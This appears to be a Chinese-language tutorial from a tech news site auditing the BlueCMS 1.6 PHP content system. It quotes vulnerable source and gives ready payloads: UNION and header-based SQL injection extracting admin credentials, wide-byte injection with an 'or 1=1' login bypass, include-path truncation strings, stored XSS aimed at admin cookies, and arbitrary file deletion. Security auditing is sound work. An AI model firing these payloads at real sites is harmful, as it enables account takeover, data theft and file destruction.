您好,登錄后才能下訂單哦!
這期內(nèi)容當中小編將會給大家?guī)碛嘘Pphp中的bluecms審計怎么用,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
代碼審計
審計方法:
定位敏感關鍵字,回溯參數(shù)傳遞過程
定位敏感功能點,通讀功能代碼 (黑盒+白盒)
系統(tǒng)重裝
文件上傳
文件管理功能
登錄認證
密碼找回
訂單支付
全文代碼通讀審計(index.php 跟蹤調(diào)試)
實用工具:
seay 代碼審計
rips
xdebug
phpstudy
php5.2
bluecms1.6 sp1 (安裝就不說了)
seay代碼審計系統(tǒng)
seay自動審計
ad_js.php
疑似存在 sql注入漏洞
require_once dirname(__FILE__) . '/include/common.inc.php';
這里包含了網(wǎng)站的配置文件,且配置文件中有統(tǒng)一配置
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
對$*post、$*get、$*cookies和$*request統(tǒng)一進行gpc處理,對得到的參數(shù)轉移特定的字符。
但是 ad_js.php 并沒有使用單引號,所以可以直接繞過。
查看getone()
函數(shù)無過濾:
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
這里確實存在數(shù)字型注入。
可根據(jù)頁面回顯,
成功回顯 7 的位置。
poc:
http://www.blue.com/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x7e,pwd) from blue_admin--+
include/common.fun.php
:
/** * * 獲取用戶IP * */ function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { //獲取客戶端用代理服務器訪問時的真實ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
配置文件中對$*post、$*get、$*cookies和$*request統(tǒng)一進行gpc處理,但是遺漏了$_SERVER。而且網(wǎng)站恰恰通過該變量獲取ip地址,因此我們就可以對ip通過client-ip或x-forwarded-for等進行偽造。
phpstorm中快捷鍵ctrl+shift+F
在項目中搜索在哪調(diào)用了getip
函數(shù)。
在comment.php
中調(diào)用,
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
對$content
進行轉移避免 xss,
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
對其他參數(shù)進行gpc轉譯和字符的intval強制轉換。
可這個getip
函數(shù)就出了問題,沒有過濾。那么我們就可以偽造 ip 造成sql注入了,
測試評論功能正常,
我們可以修改源碼讓其將執(zhí)行的sql 語句執(zhí)行出來,然后結束程序。
可以看到可成功偽造 ip
得到sql語句
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '1', '1', '6', '123', '1613538389', '1.1.1.1,'1')
那么我們在偽造 ip 的 評論處構造 sql語句,
poc:
X-Forwarded-For: 1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1
發(fā)布評論成功
成功注入
user.php
750行
elseif ($act == 'pay'){ include 'data/pay.cache.php'; $price = $_POST['price']; $id = $_POST['id']; $name = $_POST['name']; if (empty($_POST['pay'])) { showmsg('對不起,您沒有選擇支付方式'); } include 'include/payment/'.$_POST['pay']."/index.php"; }
分析代碼,我們發(fā)現(xiàn)$_POST['pay']并沒有做多余的安全檢測,直接進行拼接,前文中說道,對post方法進行了重寫,會對%00進行轉譯,所以利用%00進行截斷是不行的。
在這里說一下各個截斷的條件吧
00截斷(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off ) 點號截斷(只適用于windows)(php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次測試長度需要大于269) ./截斷 (php版本 5.2.17、 magic_quotes_gpc = On ) index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次測試長度需要大于269)
應該是我本地環(huán)境配置原因,沒復現(xiàn)成功,
后續(xù)可以上傳頭像,進行文件包含寫shell.
這次不用Seay挖xss漏洞,我們通過關鍵功能測試來審計xss漏洞。 在后臺->會員管理->會員列表處,管理員是可以查看會員信息的,要是此處信息能從前臺插入xss代碼,就能盜取管理員cookie。
來到前臺會員注冊處,嘗試注冊一個用戶,可以看到可控的有用戶名,郵箱,密碼一般不考慮。
提交注冊,抓包具體分析一下,可以看到走的是user.php的do_reg方法。
elseif($act == 'do_reg'){ $user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : ''; $pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : ''; $pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : ''; $email = !empty($_POST['email']) ? trim($_POST['email']) : ''; $safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : ''; $from = !empty($from) ? base64_decode($from) : 'user.php'; if(strlen($user_name) < 4 || strlen($user_name) > 16){ showmsg('用戶名字符長度不符'); } if(strlen($pwd) < 6){ showmsg('密碼不能少于6個字符'); } if($pwd != $pwd1){ showmsg('兩次輸入密碼不一致'); } if(strtolower($safecode) != strtolower($_SESSION['safecode'])){ showmsg('驗證碼錯誤'); } if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){ showmsg('該用戶名已存在'); } if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){ showmsg('該用戶名已存在'); } $sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')"; if(!$db->query($sql)){ showmsg('很遺憾,注冊中出錯啦'); }else{ $_SESSION['user_id'] = $db->insert_id(); $_SESSION['user_name'] = $user_name; update_user_info($_SESSION['user_name']); setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+3600, $cookiepath, $cookiedomain); setcookie('BLUE[user_name]', $user_name, time()+3600, $cookiepath, $cookiedomain); setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+3600, $cookiepath, $cookiedomain); if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php')) { $uid = uc_user_register($user_name, $pwd, $email); if($uid <= 0) { if($uid == -1) { showmsg('用戶名不合法!'); } elseif($uid == -2) { showmsg('包含不允許注冊的詞語!'); } elseif($uid == -3) { showmsg('你指定的用戶名 '.$user_name.' 已存在,請使用別的用戶名!'); } elseif($uid == -4){ showmsg('您使用的Email格式不對!'); } elseif($uid == -5) { showmsg('你使用的Email 不允許注冊!'); } else { showmsg('注冊失敗!'); } } else { $ucsynlogin = uc_user_synlogin($uid); echo $ucsynlogin; } } $_SESSION['last_reg'] = $timestamp; showmsg('恭喜您注冊成功,現(xiàn)在將轉向...', $from); }
這里用戶名長度不大于 16 ,郵箱前端驗證。
我們選擇郵箱處 xss.
成功 xss,
再去看看管理后臺,成功彈窗
現(xiàn)在本地調(diào)一下代碼
繼續(xù)使用 email
可以看到滿足 寬字節(jié)注入的條件,因為配置文件重寫了 post 方法,所以注入的時候要注意單引號。
構造 paylaod
referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg
文件/admin/login.php
方法 do_login
elseif($act == 'do_login'){ $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : ''; $remember = isset($_POST) ? intval($_POST['rememberme']) : 0; if($admin_name == ''){ showmsg('用戶名不能為空'); } if($admin_pwd == ''){ showmsg('用戶密碼不能為空'); } if(check_admin($admin_name, $admin_pwd)){ update_admin_info($admin_name); if($remember == 1){ setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400); setcookie('Blue[admin_name]', $admin_name, time()+86400); setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400); } }else{ showmsg('您輸入的用戶名和密碼有誤'); } showmsg('歡迎您 '.$admin_name.' 回來,現(xiàn)在將轉向管理中心...', 'index.php'); }
check_admin
:
function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
寬字節(jié)注入,
admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login
user.php
792 行。
elseif($act == 'edit_user_info')
if (!empty($_POST['face_pic1'])){ if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){ showmsg('只支持本站相對路徑地址'); } else{ $face_pic = trim($_POST['face_pic1']); } }else{ if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){ @unlink(BLUE_ROOT.$_POST['face_pic3']); } }
要使得face_pic1
為空,
BLUE_ROOT 問當前文件所在路徑。
require_once dirname(__FILE__) . '/include/common.inc.php'; # ommon.inc.php define('BLUE_ROOT',str_replace("\\","/",substr(dirname(__FILE__),0,-7)));
此功能點在用戶修改信息處,抓包,填入face_pic3 得值即可刪除任意文件。
上述就是小編為大家分享的php中的bluecms審計怎么用了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。